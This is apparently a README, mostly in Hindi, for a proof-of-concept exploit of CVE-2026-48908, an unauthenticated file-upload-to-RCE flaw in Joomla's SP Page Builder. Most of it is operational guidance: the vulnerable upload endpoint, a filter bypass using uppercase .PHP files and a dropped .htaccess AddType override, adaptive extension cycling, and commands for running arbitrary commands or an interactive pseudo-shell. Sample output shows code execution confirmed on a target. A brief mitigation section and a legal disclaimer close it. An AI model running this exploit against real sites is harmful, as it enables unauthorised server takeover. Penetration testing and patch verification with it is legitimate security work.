
CVE-2026-48908 के लिए प्रमाण-अवधारणा शोषण, Joomla SP Page Builder में अनधिकृत RCE, मनमानी फ़ाइल अपलोड के माध्यम से, अनुकूली पेलोड वितरण और सफाई के साथ।
| CVE | CVE-2026-48908 |
| कमज़ोरी | CWE-284 अनुचित पहुँच नियंत्रण → बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड → RCE |
| घटक | SP Page Builder (com_sppagebuilder) Joomla के लिए |
| प्रभावित संस्करण | 1.0.0 – 6.6.1 |
| फिक्स संस्करण | 6.6.2 |
| आवश्यक विशेषाधिकार | कोई नहीं (पूर्व-प्रमाणीकरण) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
SP Page Builder कंट्रोलर कार्य asset.uploadCustomIcon को एक कस्टम आइकन-फ़ॉन्ट पैकेज अपलोड करने के लिए उजागर करता है:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
प्रभावित संस्करणों में यह कार्य बिना प्रमाणीकरण और बिना वैध एंटी-CSRF टोकन के पहुँच योग्य है। यह एक ZIP आर्काइव (मल्टीपार्ट फ़ील्ड custom_icon) स्वीकार करता है और इसकी सामग्री दस्तावेज़ रूट के अंतर्गत सार्वजनिक रूप से वेब-सर्वित निर्देशिका में निकालता है:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
चूंकि अपलोड पूर्व-प्रमाणीकृत पहुँच योग्य है और निकाली गई फ़ाइलें वेब रूट में आती हैं, एक हमलावर हमलावर-नियंत्रित फ़ाइलों को एक ब्राउज़ करने योग्य स्थान पर लिख सकता है और उन्हें HTTP पर पहुँच सकता है।
कुछ बिल्ड आर्काइव प्रविष्टियों पर सर्वर-साइड फ़ाइलनाम फ़िल्टर जोड़ते हैं। यह PoC तीन-चरणीय श्रृंखला के साथ इसके एक सामान्य कार्यान्वयन को विफल करता है:
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … को अस्वीकार करता है, लेकिन यह केस को सामान्यीकृत नहीं करता, इसलिए .PHP (और अन्य मिक्स्ड-केस वेरिएंट) और .htaccess पास हो जाते हैं।<FilesMatch "\.php$">) केवल लोअरकेस .php को निष्पादित करता है, इसलिए अपलोड किया गया .PHP शुरू में स्रोत टेक्स्ट के रूप में प्रस्तुत किया जाता है, चलाया नहीं जाता।.htaccess ओवरराइड। एक .htaccess (जिसे ब्लॉकलिस्ट भी चूकती है) जिसमें AddType application/x-httpd-php .PHP होता है, पेलोड के साथ ड्रॉप किया जाता है। जहाँ AllowOverride इसकी अनुमति देता है, यह .PHP को PHP के रूप में पंजीकृत करता है और अपलोड किया गया शेल निष्पादित होता है।PoC हमेशा एक मान्य आइकन-फ़ॉन्ट संरचना (selection.json, style.css, fonts/<name>.ttf) पैकेज करता है ताकि अपलोड स्वीकार हो, फिर शेल जोड़ता है।
अनुकूली — यह php-निष्पादन योग्य एक्सटेंशन की एक सूची (पहले सबसे कम फुटप्रिंट) चलता है, फिर एक .htaccess फ़ॉलबैक, और पहले पर रुकता है जो वास्तव में कोड चलाता है:
fonts/<shell>.<ext> प्रत्येक php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php के लिए। कोई .htaccess नहीं। विभिन्न SP Page Builder फ़िल्टर अलग-अलग सेट को ब्लॉक करते हैं, और विभिन्न Apache कॉन्फ़िगरेशन अलग-अलग एक्सटेंशन को निष्पादित करते हैं — इसलिए यह वह संयोजन ढूँढता है जिसकी लक्ष्य अनुमति देता है और चलाता है।fonts/.htaccess + fonts/<shell>.PHP (फ़ॉलबैक) — केवल अगर हर प्रत्यक्ष प्रयास विफल हो। ड्रॉप किया गया .htaccess (AddType … .PHP) एक अपरकेस .PHP को निष्पादित करने के लिए मजबूर करता है जहाँ AllowOverride इसकी अनुमति देता है (यह वही है जो 5.4.6-शैली के होस्ट को चाहिए)।यह पहली विधि पर रुकता है जो निष्पादित होती है और प्रिंट करता है कि कौन सी लैंड हुई। हर स्वीकृत अपलोड ट्रैक किया जाता है, इसलिए --cleanup उन सभी को हटा देता है (कई प्रयास केवल-लेखन निर्देशिकाएँ छोड़ सकते हैं)।
संस्करण और सर्वर सख्तीकरण के आधार पर परिणाम भिन्न होता है, और PoC इसे स्पष्ट रूप से बताता है (नीचे परिणाम देखें): पूर्ण RCE, केवल-फ़ाइल-लेखन (PHP अक्षम /
AllowOverride None), पैच किया गया (केवल-एडमिन), या कमजोर नहीं।
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
लक्ष्य को स्थितीय तर्क के रूप में या --url के माध्यम से, स्कीम के साथ या बिना दिया जा सकता है।
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC हमेशा आपको लक्ष्य के लिए फैसला बताता है:
| आउटपुट | अर्थ | निकास |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | कमजोर — पूर्ण बिना प्रमाणीकरण RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | केवल-फ़ाइल-लेखन (AllowOverride None / /media में PHP अक्षम) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | पैच किया गया — अपलोड अब एडमिन प्रमाणीकरण की आवश्यकता | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | शोषण योग्य नहीं / घटक मौजूद नहीं | 2 |
404 लौटाता है — यह एक विश्व-खुला बैकडोर नहीं है।--cleanup इसके द्वारा बनाई गई पेलोड निर्देशिका को हटा देता है।id, एक अंकगणितीय मार्कर)।/media/, /images/, /tmp) में PHP निष्पादन को FPM पूल या php_admin_flag engine off के माध्यम से अक्षम करें।AllowOverride None सेट करें ताकि ड्रॉप किया गया .htaccess हैंडलर को पुनः सक्षम न कर सके।media/.../iconfont/ के अंतर्गत अप्रत्याशित .php/.PHP, नए सुपर यूज़र खाते, और लगाए गए फ़ाइल मैनेजर देखें।जूमला SP Page Builder शोषण · com_sppagebuilder बिना प्रमाणीकरण RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon मनमाना फ़ाइल अपलोड · जूमला रिमोट कोड निष्पादन · पेंटेस्ट शोषण स्क्रिप्ट।
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित किया गया है — उदाहरण के लिए, पैठ परीक्षण जिन्हें करने के लिए आपके पास लिखित अनुमति है, बग-बाउंटी प्रोग्राम जो लक्ष्य को दायरे में शामिल करते हैं, CTF प्रतियोगिताएँ, और आपके अपने प्रयोगशाला सिस्टम।
बिना अधिकार के कंप्यूटर सिस्टम तक पहुँचना, संशोधित करना, या बाधित करना अधिकांश क्षेत्राधिकारों में अवैध है। आप अपने कार्यों के लिए पूरी तरह और एकमात्र रूप से जिम्मेदार हैं। इस कोड का उपयोग, डाउनलोड या वितरण करके आप सहमत हैं कि:
यदि आप इन शर्तों से सहमत नहीं हैं, तो इस सॉफ़्टवेयर का उपयोग न करें। किसी भी सार्वजनिक रूप से उपलब्ध शोषण/PoC की तरह, इसे सद्भावना से साझा किया गया है ताकि रक्षकों को भेद्यता का पता लगाने, समझने और उसे ठीक करने में मदद मिल सके; आप इसके साथ जो करते हैं वह आप पर निर्भर है।
MIT — LICENSE देखें।